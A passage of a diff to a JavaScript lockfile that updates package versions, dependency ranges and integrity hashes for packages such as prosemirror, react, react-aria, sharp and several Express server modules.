"sha512-TImyPXCHPcDsSka2/lwJ6WjTASr4re/qWq1yoTTuLOqfXucwF6VcRa2LWCkM/EyTD1UO3CUwiH8qURJoWJRxwg=="], - - "prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], - - "prosemirror-schema-basic": ["prosemirror-schema-basic@1.2.4", "", { "dependencies": { "prosemirror-model": "^1.25.0" } }, "sha512-ELxP4TlX3yr2v5rM7Sb70SqStq5NvI15c0j9j/gjsrO5vaw+fnnpovCLEGIcpeGfifkuqJwl4fon6b+KdrODYQ=="], + "prosemirror-model": ["prosemirror-model@1.25.12", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-Ue2gTmXMa7EhpLNhC7J+h4+ykD8ha12K6rrZFFKKJHBForfIStw5gJ6Zrf1mqqAa9NmpmEB4wp9bKmA4eUVjWg=="], "prosemirror-schema-list": ["prosemirror-schema-list@1.5.1", "", { "dependencies": { "prosemirror-model": "^1.0.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.7.3" } }, "sha512-927lFx/uwyQaGwJxLWCZRkjXG0p48KpMj6ueoYiu4JX05GGuGcgzAy62dfiV8eFZftgyBUvLx76RsMe20fJl+Q=="], @@ -2045,35 +1897,41 @@ "prosemirror-tables": ["prosemirror-tables@1.8.5", "", { "dependencies": { "prosemirror-keymap": "^1.2.3", "prosemirror-model": "^1.25.4", "prosemirror-state": "^1.4.4", "prosemirror-transform": "^1.10.5", "prosemirror-view": "^1.41.4" } }, "sha512-V/0cDCsHKHe/tfWkeCmthNUcEp1IVO3p6vwN8XtwE9PZQLAZJigbw3QoraAdfJPir4NKJtNvOB8oYGKRl+t0Dw=="], - "prosemirror-trailing-node": ["prosemirror-trailing-node@3.0.0", "", { "dependencies": { "@remirror/core-constants": "3.0.0", "escape-string-regexp": "^4.0.0" }, "peerDependencies": { "prosemirror-model": "^1.22.1", "prosemirror-state": "^1.4.2", "prosemirror-view": "^1.33.8" } }, "sha512-xiun5/3q0w5eRnGYfNlW1uU9W6x5MoFKWwq/0TIRgt09lv7Hcser2QYV8t4muXbEr+Fwo0geYn79Xs4GKywrRQ=="], + "prosemirror-transform": ["prosemirror-transform@1.12.2", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-PE/aY0HEY4zczvmqrilgkUK/WautF0chvMqkmM/iN5/aPHvwrCWaQZjS6CIZp+K84YrvPFqrL+YArrfJX8xX7g=="], - "prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + "prosemirror-view": ["prosemirror-view@1.42.6", "", { "dependencies": { "prosemirror-model": "^1.25.12", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } }, "sha512-3g25f6hKV2bBxo3puH3EcYWmmVNSH0iWmNsMVT7sugDSpA025jgpOLarcDWr39SdzPjYMaiYtRdNtXialPSjEQ=="], - "prosemirror-view": ["prosemirror-view@1.41.6", "", { "dependencies": { "prosemirror-model": "^1.20.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } }, "sha512-mxpcDG4hNQa/CPtzxjdlir5bJFDlm0/x5nGBbStB2BWX+XOQ9M8ekEG+ojqB5BcVu2Rc80/jssCMZzSstJuSYg=="], + "proxy-addr": ["proxy-addr@2.0.8", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ=="], - "proxy-from-env": ["proxy-from-env@1.1.0", "", {}, "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="], + "proxy-from-env": ["proxy-from-env@2.1.0", "", {}, "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA=="], "pump": ["pump@3.0.4", "", { "dependencies": { "end-of-stream": "^1.1.0", "once": "^1.3.1" } }, "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA=="], "punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], - "punycode.js": ["punycode.js@2.3.1", "", {}, "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA=="], + "pvtsutils": ["pvtsutils@1.3.6", "", { "dependencies": { "tslib": "^2.8.1" } }, "sha512-PLgQXQ6H2FWCaeRak8vvk1GW462lMxB5s3Jm673N82zI4vqtVUPuZdffdZbPDFRoU8kAhItWFtPCWiPpp4/EDg=="], + + "pvutils": ["pvutils@1.2.0", "", {}, "sha512-BbubeCEyTuQjVMakvJQ/Sxbc93F2pwmbsxONT/ZRrwU7Ua38d8unYTwXpTVLAKJ4BDuH9IGztCjQcd/N/39Dvg=="], "qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="], "quick-lru": ["quick-lru@5.1.1", "", {}, "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA=="], - "rc": ["rc@1.2.8", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="], + "range-parser": ["range-parser@1.3.0", "", {}, "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw=="], + + "raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="], - "react": ["react@19.2.4", "", {}, "sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ=="], + "react": ["react@19.3.0", "", {}, "sha512-E8LUcbtBWt20bbl2YoHfx4ZDBdxVTfOKtCZn9cDSJ4l6/nuoApcpIBcj47t2wZoVX8g2ZHuMHbiShgCR1T5Sog=="], - "react-aria": ["react-aria@3.47.0", "", { "dependencies": { "@internationalized/string": "^3.2.7", "@react-aria/breadcrumbs": "^3.5.32", "@react-aria/button": "^3.14.5", "@react-aria/calendar": "^3.9.5", "@react-aria/checkbox": "^3.16.5", "@react-aria/color": "^3.1.5", "@react-aria/combobox": "^3.15.0", "@react-aria/datepicker": "^3.16.1", "@react-aria/dialog": "^3.5.34", "@react-aria/disclosure": "^3.1.3", "@react-aria/dnd": "^3.11.6", "@react-aria/focus": "^3.21.5", "@react-aria/gridlist": "^3.14.4", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/landmark": "^3.0.10", "@react-aria/link": "^3.8.9", "@react-aria/listbox": "^3.15.3", "@react-aria/menu": "^3.21.0", "@react-aria/meter": "^3.4.30", "@react-aria/numberfield": "^3.12.5", "@react-aria/overlays": "^3.31.2", "@react-aria/progress": "^3.4.30", "@react-aria/radio": "^3.12.5", "@react-aria/searchfield": "^3.8.12", "@react-aria/select": "^3.17.3", "@react-aria/selection": "^3.27.2", "@react-aria/separator": "^3.4.16", "@react-aria/slider": "^3.8.5", "@react-aria/ssr": "^3.9.10", "@react-aria/switch": "^3.7.11", "@react-aria/table": "^3.17.11", "@react-aria/tabs": "^3.11.1", "@react-aria/tag": "^3.8.1", "@react-aria/textfield": "^3.18.5", "@react-aria/toast": "^3.0.11", "@react-aria/tooltip": "^3.9.2", "@react-aria/tree": "^3.1.7", "@react-aria/utils": "^3.33.1", "@react-aria/visually-hidden": "^3.8.31", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-nvahimIqdByl/PXk/xPkG30LPRzcin+/Uk0uFfwbbKRRFC9aa22a6BRULZLqVHwa9GaNyKe6CDUxO1Dde4v0kA=="], + "react-aria": ["react-aria@3.52.1", "", { "dependencies": { "@internationalized/date": "^3.12.4", "@internationalized/number": "^3.6.8", "@internationalized/string": "^3.2.10", "@react-types/shared": "^3.36.1", "@swc/helpers": "^0.5.0", "aria-hidden": "^1.2.3", "clsx": "^2.0.0", "react-stately": "3.50.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-fdZZruC9/x/joCg0mhKGs5aHpwrXLCSZ4GOJmhhYyiE0ffyEsk9MLFt9LCOCF9tn8ErTD+UDQP4oDUSlZkmpCg=="], - "react-aria-components": ["react-aria-components@1.16.0", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@internationalized/string": "^3.2.7", "@react-aria/autocomplete": "3.0.0-rc.6", "@react-aria/collections": "^3.0.3", "@react-aria/dnd": "^3.11.6", "@react-aria/focus": "^3.21.5", "@react-aria/interactions": "^3.27.1", "@react-aria/live-announcer": "^3.4.4", "@react-aria/overlays": "^3.31.2", "@react-aria/ssr": "^3.9.10", "@react-aria/textfield": "^3.18.5", "@react-aria/toolbar": "3.0.0-beta.24", "@react-aria/utils": "^3.33.1", "@react-aria/virtualizer": "^4.1.13", "@react-stately/autocomplete": "3.0.0-beta.4", "@react-stately/layout": "^4.6.0", "@react-stately/selection": "^3.20.9", "@react-stately/table": "^3.15.4", "@react-stately/utils": "^3.11.0", "@react-stately/virtualizer": "^4.4.6", "@react-types/form": "^3.7.18", "@react-types/grid": "^3.3.8", "@react-types/shared": "^3.33.1", "@react-types/table": "^3.13.6", "@swc/helpers": "^0.5.0", "client-only": "^0.0.1", "react-aria": "^3.47.0", "react-stately": "^3.45.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-MjHbTLpMFzzD2Tv5KbeXoZwPczuUWZcRavVvQQlNHRtXHH38D+sToMEYpNeir7Wh3K/XWtzeX3EujfJW6QNkrw=="], + "react-aria-components": ["react-aria-components@1.21.1", "", { "dependencies": { "@internationalized/date": "^3.12.4", "@internationalized/string": "^3.2.10", "@react-types/shared": "^3.36.1", "@swc/helpers": "^0.5.0", "client-only": "^0.0.1", "react-aria": "3.52.1", "react-stately": "3.50.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-J88WflYY0z+EhLX0ce+GjFlQ3ag3ubIgfUTjpKSrBQBu92Xtl4Ub9o118HItUddtbk1Ido0jzyPy94/klZy1hg=="], - "react-dom": ["react-dom@19.2.4", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.4" } }, "sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ=="], + "react-dom": ["react-dom@19.3.0", "", { "dependencies": { "scheduler": "^0.28.0" }, "peerDependencies": { "react": "^19.3.0" } }, "sha512-JDk8dgif51OjFoDE70+OT9ICyYr+69HlmihNwp1+Nsfbna3t5sIiCa9ZJktDmQ4/1b/rn26hIAR2uYXDMr5r0Q=="], - "react-hook-form": ["react-hook-form@7.71.2", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-1CHvcDYzuRUNOflt4MOq3ZM46AronNJtQ1S7tnX6YN4y72qhgiUItpacZUAQ0TyWYci3yz1X+rXaSxiuEm86PA=="], + "react-hook-form": ["react-hook-form@7.89.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-vKcoCfy8RKZDrhSdqsRFp0uEOdS1AhLjOL6hR7Wmfzg1akNxEhaPf5WORx8SgEQPVXakdDyDkqQp+KNxVnnPHg=="], + + "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], "react-markdown": ["react-markdown@10.1.0", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "devlop": "^1.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "html-url-attributes": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "unified": "^11.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" }, "peerDependencies": { "@types/react": ">=18", "react": ">=18" } }, "sha512-qKxVopLT/TyA6BX3Ue5NwabOsAzm0Q7kAPwq6L+wWDwisYs7R8vZ0nRXqq6rkueboxpkjvLGU9fWifiX/ZZFxQ=="], @@ -2081,10 +1939,12 @@ "react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="], - "react-stately": ["react-stately@3.45.0", "", { "dependencies": { "@react-stately/calendar": "^3.9.3", "@react-stately/checkbox": "^3.7.5", "@react-stately/collections": "^3.12.10", "@react-stately/color": "^3.9.5", "@react-stately/combobox": "^3.13.0", "@react-stately/data": "^3.15.2", "@react-stately/datepicker": "^3.16.1", "@react-stately/disclosure": "^3.0.11", "@react-stately/dnd": "^3.7.4", "@react-stately/form": "^3.2.4", "@react-stately/list": "^3.13.4", "@react-stately/menu": "^3.9.11", "@react-stately/numberfield": "^3.11.0", "@react-stately/overlays": "^3.6.23", "@react-stately/radio": "^3.11.5", "@react-stately/searchfield": "^3.5.19", "@react-stately/select": "^3.9.2", "@react-stately/selection": "^3.20.9", "@react-stately/slider": "^3.7.5", "@react-stately/table": "^3.15.4", "@react-stately/tabs": "^3.8.9", "@react-stately/toast": "^3.1.3", "@react-stately/toggle": "^3.9.5", "@react-stately/tooltip": "^3.5.11", "@react-stately/tree": "^3.9.6", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-G3bYr0BIiookpt4H05VeZUuVS/FslQAj2TeT8vDfCiL314Y+LtPXIPe/a3eamCA0wljy7z1EDYKV50Qbz7pcJg=="], + "react-stately": ["react-stately@3.50.0", "", { "dependencies": { "@internationalized/date": "^3.12.4", "@internationalized/number": "^3.6.8", "@internationalized/string": "^3.2.10", "@react-types/shared": "^3.36.1", "@swc/helpers": "^0.5.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-TnckvpDQGU0672wEaLZqdzvhuSeXWjgW6vijMWxiKOxc8CosQUfPGISdcZyfHqjX3XMjEtRxj4w9HumvX4h4mw=="], "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="], + "react-transition-group": ["react-transition-group@4.4.5", "", { "dependencies": { "@babel/runtime": "^7.5.5", "dom-helpers": "^5.0.1", "loose-envify": "^1.4.0", "prop-types": "^15.6.2" }, "peerDependencies": { "react": ">=16.6.0", "react-dom": ">=16.6.0" } }, "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g=="], + "react-video-kit": ["react-video-kit@3.0.0", "", { "dependencies": { "@radix-ui/react-slider": "^1.1.2", "@radix-ui/react-slot": "^1.1.0", "clsx": "^2.0.0", "tailwind-merge": "^2.1.0" }, "peerDependencies": { "motion": ">=10.0.0", "react": ">=18", "react-dom": ">=18" } }, "sha512-IrzcfJRMJ4+dUECDKMkM8yZ0TKVyYKFtucH6PUv2SeQajijfk9SQfT5eVcEMCq+Kixm+q3Oqx0jJw+f33trohw=="], "read-binary-file-arch": ["read-binary-file-arch@1.0.6", "", { "dependencies": { "debug": "^4.3.4" }, "bin": { "read-binary-file-arch": "cli.js" } }, "sha512-BNg9EN3DD3GsDXX7Aa8O4p92sryjkmzYYgmgTAc6CA4uGLEDzFfxOxugu21akOxpcXHiEgsYkC6nPsQvLLLmEg=="], @@ -2099,8 +1959,6 @@ "regex-utilities": ["regex-utilities@2.3.0", "", {}, "sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng=="], - "rehype-highlight": ["rehype-highlight@7.0.2", "", { "dependencies": { "@types/hast": "^3.0.0", "hast-util-to-text": "^4.0.0", "lowlight": "^3.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" } }, "sha512-k158pK7wdC2qL3M5NcZROZ2tR/l7zOzjxXd5VGdcfIyoijjQqpHd3JKtYSBDpDZ38UI2WJWuFAtkMDxmx5kstA=="], - "remark-gfm": ["remark-gfm@4.0.1", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-gfm": "^3.0.0", "micromark-extension-gfm": "^3.0.0", "remark-parse": "^11.0.0", "remark-stringify": "^11.0.0", "unified": "^11.0.0" } }, "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg=="], "remark-parse": ["remark-parse@11.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-from-markdown": "^2.0.0", "micromark-util-types": "^2.0.0", "unified": "^11.0.0" } }, "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA=="], @@ -2123,20 +1981,20 @@ "responselike": ["responselike@2.0.1", "", { "dependencies": { "lowercase-keys": "^2.0.0" } }, "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw=="], - "restore-cursor": ["restore-cursor@5.1.0", "", { "dependencies": { "onetime": "^7.0.0", "signal-exit": "^4.1.0" } }, "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA=="], + "restore-cursor": ["restore-cursor@3.1.0", "", { "dependencies": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" } }, "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA=="], - "resumable-stream": ["resumable-stream@2.2.10", "", {}, "sha512-pSJtiDVkPgirq4x+e+gu67IEkUVYGu1cPgW5AnTHCfYGRfIUjS3d4pj7VGveXmYWb9hy6yIMFTM4YzK7rqj14A=="], + "resumable-stream": ["resumable-stream@2.2.13", "", {}, "sha512-qy1ZZUP7sFKGXSx7OdbjU3f07VfSM7CghOlUaKT+35AuADX0sAYndmeCb5kVwgi4MSfkZZiL4yrdxWX1xx/Lnw=="], "retry": ["retry@0.13.1", "", {}, "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg=="], - "rfdc": ["rfdc@1.4.1", "", {}, "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA=="], - "rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="], "roarr": ["roarr@2.15.4", "", { "dependencies": { "boolean": "^3.0.1", "detect-node": "^2.0.4", "globalthis": "^1.0.1", "json-stringify-safe": "^5.0.1", "semver-compare": "^1.0.0", "sprintf-js": "^1.1.2" } }, "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A=="], "rope-sequence": ["rope-sequence@1.3.4", "", {}, "sha512-UT5EDe2cu2E/6O4igUr5PSFs23nvvukicWHx6GnOPlHAiiYbzNuCRQCuiUdHJQcqKalLKlrYJnjY0ySGsXNQXQ=="], + "router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="], + "rtf-parser": ["rtf-parser@1.3.3", "", { "dependencies": { "iconv-lite": "^0.4.15", "readable-stream": "^2.2.2" } }, "sha512-sz2eb4tcCFtwVfs5Ei/l3JnSQGqpDv+drFuNz/zwn2tA24cL2WTuk2VMo2bA4IcRgkn38juAOri2hB9nv85u2Q=="], "rtf2text": ["rtf2text@1.0.1", "", { "dependencies": { "rtf-parser": "^1.1.0" } }, "sha512-csdOWh7GqSrWP/qTkdQ5cJttvO6kYfaLkfqOQcyR91xRa+e0tf94RMXjSLiufgCpdhDLlETP9FpbqnTX6iyS7A=="], @@ -2153,27 +2011,33 @@ "saxes": ["saxes@5.0.1", "", { "dependencies": { "xmlchars": "^2.2.0" } }, "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw=="], - "scheduler": ["scheduler@0.27.0", "", {}, "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q=="], + "scheduler": ["scheduler@0.28.0", "", {}, "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw=="], - "semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + "semver": ["semver@7.8.5", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA=="], "semver-compare": ["semver-compare@1.0.0", "", {}, "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow=="], + "send": ["send@1.2.1", "", { "dependencies": { "debug": "^4.4.3", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.1", "mime-types": "^3.0.2", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.2" } }, "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ=="], + "serialize-error": ["serialize-error@7.0.1", "", { "dependencies": { "type-fest": "^0.13.1" } }, "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw=="], + "serve-static": ["serve-static@2.2.1", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw=="], + "server-only": ["server-only@0.0.1", "", {}, "sha512-qepMx2JxAa5jjfzxG79yPPq+8BuFToHd1hm7kI+Z4zAq1ftQiP7HcxMhDDItrbtwVeLg/cY2JnKnrcFkmiswNA=="], "setimmediate": ["setimmediate@1.0.5", "", {}, "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA=="], - "sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="], + "setprototypeof": ["setprototypeof@1.2.0", "", {}, "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="], + + "sharp": ["sharp@0.35.5", "", { "dependencies": { "@img/colour": "^1.1.0", "detect-libc": "^2.1.2", "semver": "^7.8.5" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.35.5", "@img/sharp-darwin-x64": "0.35.5", "@img/sharp-freebsd-wasm32": "0.35.5", "@img/sharp-libvips-darwin-arm64": "1.3.4", "@img/sharp-libvips-darwin-x64": "1.3.4", "@img/sharp-libvips-linux-arm": "1.3.4", "@img/sharp-libvips-linux-arm64": "1.3.4", "@img/sharp-libvips-linux-ppc64": "1.3.4", "@img/sharp-libvips-linux-riscv64": "1.3.4", "@img/sharp-libvips-linux-s390x": "1.3.4", "@img/sharp-libvips-linux-x64": "1.3.4", "@img/sharp-libvips-linuxmusl-arm64": "1.3.4", 